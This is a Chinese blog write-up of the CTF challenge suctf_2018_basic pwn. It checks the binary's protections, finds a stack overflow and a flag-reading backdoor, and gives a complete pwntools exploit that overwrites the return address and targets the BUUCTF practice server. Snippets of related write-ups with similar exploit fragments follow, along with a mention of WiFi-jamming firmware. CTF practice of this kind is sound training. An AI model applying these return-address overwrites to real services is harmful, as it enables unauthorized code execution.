[BUUCTF]PWN——suctf_2018_basic pwn

最新推荐文章于 2022-12-14 01:08:27 发布
最新推荐文章于 2022-12-14 01:08:27 发布
阅读量549 收藏
点赞数
分类专栏： BUUCTF刷题记录 PWN
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/mcmuyanga/article/details/113543146
版权

suctf_2018_basic pwn

附件

步骤

  1. 例行检查，64位程序，开启了RELRO和NX
    在这里插入图片描述
  2. 试运行一下程序，看看大概的情况
    在这里插入图片描述
  3. 64位ida载入，检索字符串的时候发现了读出flag的函数，flag_addr=0x401157
    在这里插入图片描述
    main（）
    在这里插入图片描述
    s存在溢出，简单的覆盖返回地址到后门函数类型的题目

完整exp

from pwn import *

r=remote('node3.buuoj.cn',25779)
flag_addr=0x401157

payload='a'*(0x110+8)+p64(flag_addr)

r.sendline(payload)

r.interactive()

在这里插入图片描述

Angel~Yan
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
2018 SUCTF招新赛
qq_42192672的博客
11-15 1722
PWN 1.stack checksec一波 什么保护都没开，可还行，IDA找一波漏洞 read函数百分之百溢出 我们看到了我们喜爱的 改一下rip美滋滋 exp #coding=utf8 from pwn import * context.log_level = 'debug' context.terminal = ['gnome-terminal','-x','b...
suctf_2018_basic pwn
qq_62887641的博客
09-20 75
给出后门，ret2text。
[BUUCTF]PWN——x_ctf_b0verfl0w（汇编代码写shellcode+jump esp指令劫持esp）
mcmuyanga的博客
02-04 1217
x_ctf_b0verfl0w 附件 步骤 例行检查，32位程序，开启了RELRO（不可改写got表） 本地试运行一下程序，看看大概的情况 32位ida载入 fgets可以溢出，但是只可以溢出0x32-0x20-0x4=14字节，由于没有开启nx，首先想到的是shellcode，0x20肯定放不进pwntools生成的shellcode，只能自己手写，但是得想办法劫持esp去执行我们的shellcode 在hit函数中找到了jump esp的gadget 因此我们可以构造这样的栈
BUUCTF-pwn(11)
njh18790816639的博客
01-09 2724
mrctf2020_easy_equation 简单的栈溢出漏洞，格式化字符串漏洞！此处采用栈溢出漏洞！ axb_2019_fmt64 经典循环格式化字符串64位漏洞！ 唯一注意的地方pwntools的FmtStr_payload无法成功获取权限！需要手动计算字节进行攻击！ from elftools.construct.macros import Padding from pwn import * from LibcSearcher import * context(log_level='debu
持续更新 BUUCTF——PWN（二）
weixin_41748164的博客
12-14 385
buuctf pwn 第三页
Wi-PWN_8.0_ENGLISH.bin
08-25
ESP8266的WIFI杀手固件，这是不带显示的。 我后续更新带OLED显示的固件。教程后将更新。
PWN.rar_AVR PWM_GPS FPGA_PWN_avr_avr pwn
09-23
【标题】"PWN.rar" 是一个包含与 AVR 单片机、PWM 脉冲输出、GPS 和 FPGA 相关资源的压缩包。其中，"AVR_PWM_GPS_FPGA_PWN_avr_avr_pwn" 可能是项目或文件集合的命名，暗示了这些技术的综合应用。 【描述】描述指出...
Wi-PWN_8.0_ENGLISH_OLED.bin
08-25
这是ESP8266的带OLED显示的WIFI杀手固件。
PWN.rar_PWN
09-24
在IT领域，PWN（Payload Writing Notation）通常与安全竞赛和漏洞利用有关，尤其是在网络安全和逆向工程中。然而，这里的"pwn"似乎指的是一个特定的功能或项目，而不是通常的安全概念。从标题和描述来看，我们正在...
PWN.zip_PWN控制舵机_pwn控制_pwn控制h桥_数字舵机_电机
07-14
pwm波输出，实现数字舵机的控制，完成一些简单的电机控制问题
buuctf-pwn write-ups (1)
CoLin的pwn小屋
05-01 396
buuctf-pwn 001-016题wp
suctf_2018_basic
z1r0的博客
01-11 259
suctf_2018_basic 查看保护 ret2text即可。 from pwn import * context(arch='amd64', os='linux', log_level='debug') file_name = './z1r0' debug = 1 if debug: r = remote('node4.buuoj.cn', 28575) else: r = process(file_name) elf = ELF(file_name) def dbg()
2018SUCTF部分wp
Risker
05-28 2800
趁大佬都去打别的比赛，试了试SUCTF，依旧菜的一批，只做出来两道，GG。WEB:Anonymous:简单粗暴给源码，看着这源码好像在哪看过：没错，2017HITCON改的，只不过难度降低了一大截..把有难度的部分都去掉了。wp参考这里按照步骤操作，这道题只需要做最后的步骤，只考了个匿名函数以及apache的Pre-fork模式默认工作模式。拿了orange大大的脚本改个host就去跑吧，linu...
suctf2018_heap
doudoudedi
02-27 363
suctf2018_heap 这道题会一次性申请2个相同大小的chunk做的时候有点逻辑混乱深深的怀疑本来是ubuntu16的环境… 思路 : off by one打成堆重叠写到指针段写atoi为system拿shell exp: from pwn import * #p=process('./offbyone') p=remote('node3.buuoj.cn',26238) elf=ELF(...
pwnable-blackjack
网安星空
02-08 821
pwnable.kr是一个经典的CTF中PWN方向练习的专业网站，本文记录的题目是blackjack，主要考察的是游戏类代码逻辑漏洞的利用。
[BUUCTF-pwn]——suctf_2018_stack
Y_peak的博客
03-11 452
[BUUCTF-pwn]——suctf_2018_stack 题目地址：https://buuoj.cn/challenges#suctf_2018_stack 什么保护都没开 在IDA中一查看，发现有点简单太简单了.本来刚开始以为溢出空间不够只有两个地址,一个epb, 一个返回地址, 可是结果仅仅返回地址就可以了 exploit from pwn import * p = remote('node3.buuoj.cn',29819) leave_ret = 0x000000000040073
buuoj Pwn writeup 116-120
yongbaoii的博客
05-11 236
116 roarctf_2019_realloc_magic 117 [BJDCTF 2nd]rci 118 wustctf2020_number_game 119 picoctf_2018_are you root 120 [GKCTF2020]Domo
pwnable之input
bluestar628的博客
04-04 1014
第一题还可以用脚本来做，只要把文件分隔符设置为一个其他符号就可以了，这里我们设为“-”但是第二题就不那么简单了。 IFS='-'//设置分隔符为“-” ./input `python-c 'pr
攻防世界 pwn 新手练习区 int_overflow
ChaoYue_miku的博客
07-07 1050
题目描述：菜鸡感觉这题似乎没有办法溢出，真的么? ** 0、使用checksec检查保护，尝试打开文件 ** 开启了NX保护和部分RELRO，而且是一个32位文件 chmod +x filename 是获取执行权限的命令 执行文件发现有两处输入：用户名和密码 题目提示已经很明显了，整数溢出 ** 1、使用IDA 32 Pro打开文件 ** 查看main函数 输入1之后会执行login()函数，我们跟进查看login()函数 两个read()函数都不存在栈溢出，之后还有一个check_passwd()函
BUUCTF pwn rip
最新发布
01-28
根据提供的引用内容，BUUCTF PWN-RIP是一个关于PWN技术的详解文章。文章中提到了64位的EIF文件中rbp寄存器的大小为8个字节。如果对这部分不太理解，可以阅读作者的另一篇关于PWN基础知识的文章。 BUUCTF PWN-RIP详解主要讲解了如何利用RIP寄存器来进行PWN攻击。RIP寄存器是存储下一条指令的地址，通过控制RIP寄存器的值，可以改变程序的执行流程，从而实现攻击的目的。 PWN攻击是一种利用软件漏洞来获取对计算机系统的控制权的攻击方式。在PWN攻击中，攻击者通常会利用程序中的漏洞，通过输入特定的数据来改变程序的执行流程，从而实现攻击的目的。 BUUCTF PWN-RIP详解文章提供了一些示例和技巧，帮助读者理解和掌握PWN攻击中利用RIP寄存器的方法。如果你对PWN攻击感兴趣，可以阅读该文章以获取更多详细信息。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值